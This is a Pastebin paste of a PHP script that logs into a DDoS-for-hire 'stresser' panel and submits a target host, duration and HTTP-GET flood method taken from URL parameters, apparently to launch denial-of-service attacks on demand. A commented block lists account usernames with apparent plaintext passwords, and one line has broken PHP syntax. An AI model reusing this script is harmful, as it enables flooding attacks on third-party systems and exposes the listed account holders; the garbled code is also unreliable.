Advertisement
Guest User

Untitled

a guest
Sep 16th, 2017
108
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.83 KB | None | 0 0
  1. <?php
  2. $username="tsubaki";
  3. $password="";
  4.  
  5. /*
  6. $accounts = array ("Albertc32" => "qsrqsdzef@", "Liliedu79" => "fdfsf85fsdf", "SandrineMinecraft" => "Nigeria35");
  7. $rand_keys = array_rand($accounts);
  8. echo $rand_keys;
  9. die();
  10. */
  11. $cookie="cookie.txt";
  12.  
  13. $postdata = "inputUsername=".$username."&inputPassword=".$password;
  14.  
  15. $ch = curl_init();
  16. curl_setopt ($ch, CURLOPT_URL, "https://thunderstresser.com/panel/login.php");
  17. curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
  18. curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6");
  19. curl_setopt ($ch, CURLOPT_TIMEOUT, 60);
  20. curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 0);
  21. curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  22. curl_setopt ($ch, CURLOPT_COOKIEJAR, $cookie);
  23. curl_setopt ($ch, CURLOPT_REFERER, $url);
  24.  
  25. curl_setopt ($ch, CURLOPT_POSTFIELDS, $postdata);
  26. curl_setopt ($ch, CURLOPT_POST, 1);
  27. $result = curl_exec ($ch);
  28.  
  29. curl_close($ch);
  30.  
  31.  
  32. $postdata = "host=".$_GET['host']"&port=port="80"&time=".$_GET['time']"&method="httpget";
  33.  
  34. $ch = curl_init();
  35. curl_setopt ($ch, CURLOPT_URL, "https://thunderstresser.com/panel/hub.php");
  36. curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
  37. curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6");
  38. curl_setopt ($ch, CURLOPT_TIMEOUT, 60);
  39. curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 0);
  40. curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  41. curl_setopt ($ch, CURLOPT_COOKIEFILE, $cookie);
  42. curl_setopt ($ch, CURLOPT_REFERER, $url);
  43.  
  44. curl_setopt ($ch, CURLOPT_POSTFIELDS, $postdata);
  45. curl_setopt ($ch, CURLOPT_POST, 1);
  46. $result = curl_exec ($ch);
  47. $result = explode("<b><center>", $result);
  48. $result = explode("</center>", $result[1]);
  49. $result = $result[0];
  50. echo $result;
  51. curl_close($ch);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement